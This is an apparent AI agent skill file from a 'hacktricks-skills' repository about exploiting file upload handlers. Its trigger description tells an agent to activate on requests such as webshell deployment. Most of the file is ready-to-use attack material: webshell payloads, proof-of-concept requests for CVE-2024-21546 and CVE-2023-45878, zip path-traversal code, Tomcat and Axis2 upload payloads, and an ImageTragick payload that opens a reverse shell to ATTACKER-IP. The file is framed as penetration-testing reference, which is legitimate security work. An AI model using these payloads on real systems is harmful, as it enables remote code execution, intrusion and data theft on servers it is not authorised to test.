Hacktricks-skills file-upload-pentest
Test file upload vulnerabilities and bypass protections. Use this skill whenever the user needs to assess file upload security, test extension bypasses, create polyglot files, or exploit upload handlers. Trigger on requests about file upload testing, webshell deployment, extension bypass, magic number bypass, or any upload-related security assessment.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/file-upload/file-upload/SKILL.MDFile Upload Pentesting
A comprehensive skill for testing file upload vulnerabilities and bypassing server-side protections.
Quick Start
- Identify the upload endpoint and test with a basic malicious file
- Check extension restrictions and try bypass techniques
- Test content-type and magic number validation
- Try server-specific exploits (Jetty, uWSGI, Tomcat, etc.)
- Use bundled scripts for payload generation
Extension Bypass Techniques
Basic Extension Tricks
Test these variations systematically:
- Case variations:
,.pHp
,.pHP5
,.PhAr.PHTML - Double extensions:
,file.png.phpfile.jpg.Php5 - Special characters:
(space)file.php%20
(newline)file.php%0a
(null byte)file.php%00
(CRLF)file.php%0d%0a
(trailing slash)file.php/
(double dot)file.php..
- Extension order tricks:
(Apache misconfiguration)file.php.png
(multiple layers)file.png.jpg.php
- Comment tricks:
,file.php#.pngfile.php%00.png
Server-Specific Extensions
PHP (test all variants):
,.php
,.php2
,.php3
,.php4
,.php5
,.php6.php7
,.pht
,.phtm
,.phtml
,.pgif
,.shtml.htaccess
,.phar
,.inc
,.hphp
,.ctp.module
ASP/ASPX:
,.asp
,.aspx
,.config
,.ashx
,.asmx
,.cshtml.vbhtml
JSP:
,.jsp
,.jspx
,.jsw
,.jsv
,.jspf
,.do.action
Other:
,.cfm
(ColdFusion).cfml
(Flash).swf
,.pl
(Perl).cgi
(Erlang).yaws
NTFS Alternate Data Streams (Windows)
file.asax:.jpg file.asp::$data.
Creates an empty file with the forbidden extension that can be edited later.
Filename Length Truncation
Linux max filename: 255 bytes. Some tools (wget) truncate to 236.
# Create a filename that truncates to .php python3 -c 'print("A" * 232 + ".php.gif")'
Upload this - the server may truncate to
.php.
Content-Type and Magic Number Bypass
Content-Type Header Tricks
Set these values to bypass checks:
image/pngimage/jpegtext/plainapplication/octet-stream
Magic Number Injection
Add valid image headers to malicious files:
PNG header:
\x89PNG\r\n\x1a\n
JPEG header:
\xff\xd8\xff
Use the
create-polyglot.sh script to generate these automatically.
Surviving Image Processing
If the server resizes/compresses images, use these techniques:
- PLTE chunk - survives PHP-GD compression
- IDAT chunk - survives imagecopyresized/resampled
- tEXt chunk - survives thumbnailImage
See
references/persistent-payloads.md for implementation details.
CVE-Specific Exploits
UniSharp Laravel Filemanager (CVE-2024-21546)
Affected: Versions before 2.9.1
Bypass: Trailing dot in filename
# Upload shell.php. (with trailing dot) # Server strips the dot, saves as shell.php # PoC request: POST /profile/avatar Content-Type: multipart/form-data filename="shell.php." Content-Type: image/png \x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
Access:
/storage/files/shell.php?cmd=id
Gibbon LMS (CVE-2023-45878)
Endpoint:
/modules/Rubrics/rubrics_visualise_saveAjax.php
Method: POST with base64-encoded payload
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ -d 'img=image/png;test,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4=&path=shell.php&gibbonPersonID=0000000001' curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Jetty XML RCE
Upload XML to
$JETTY_BASE/webapps/ - automatically processed.
uWSGI Configuration RCE
If you can write to
.ini files:
[uwsgi] body = @(exec://whoami)
Payload executes during config parsing (requires restart or auto-reload).
ZIP/Tar Exploitation
Path Traversal in Archives
#!/usr/bin/env python3 import zipfile from io import BytesIO def create_malicious_zip(): f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../var/www/html/shell.php', '<?php system($_REQUEST["cmd"]); ?>') z.close() with open('poc.zip', 'wb') as out: out.write(f.getvalue())
Symlink in Archive
ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt
NUL-Byte Smuggling (PHP ZipArchive)
- Create
(valid PDF with embedded PHP)shell.php..pdf - Zip it
- Hex-edit filename to
shell.php\x00.pdf - ZipArchive sees
, filesystem writes.pdf.php
Use
create-null-zip.sh script for automation.
Stacked ZIPs
cat benign.zip evil.zip > combined.zip
Different parsers may read different archives.
Server-Specific Exploits
Tomcat GZIP Upload
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp Content-Type: application/octet-stream Content-Encoding: gzip <gzip-compressed-jsp-payload>
Axis2 SOAP Upload
<soapenv:Envelope> <soapenv:Body> <uploadFile> <archiveName>shell.jsp</archiveName> <jobDirectory>/../../../../opt/tomcat/webapps/</jobDirectory> <dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgPz4=</dataHandler> </uploadFile> </soapenv:Body> </soapenv:Envelope>
Windows NTFS Junctions
rmdir C:\Windows\Tasks\Uploads\<id> mklink /J C:\Windows\Tasks\Uploads\<id> C:\xampp\htdocs
Redirects uploads to webroot.
ImageTragick Exploit
Upload this content with image extension:
push graphic-context viewbox 0 0 640 480 fill 'url("https://attacker.com/test.jpg"|bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1)' pop graphic-context
Content-Type Confusion
Some handlers trust parsed JSON over actual multipart:
{ "files": { "document": { "filepath": "/proc/self/environ", "mimetype": "image/png", "originalFilename": "x.png" } } }
Testing Checklist
- Test all extension variations (case, double, special chars)
- Try content-type header manipulation
- Add magic bytes to malicious files
- Test filename length truncation
- Try ZIP path traversal
- Check for server-specific vulnerabilities
- Test NTFS tricks on Windows
- Try polyglot files
- Check for ImageTragick
- Test Content-Type confusion
Bundled Scripts
- Generate polyglot files with magic headersscripts/create-polyglot.sh
- Create NUL-byte smuggled ZIPsscripts/create-null-zip.sh
- Generate common webshell payloadsscripts/generate-payloads.sh
- Test extension bypasses systematicallyscripts/test-extensions.sh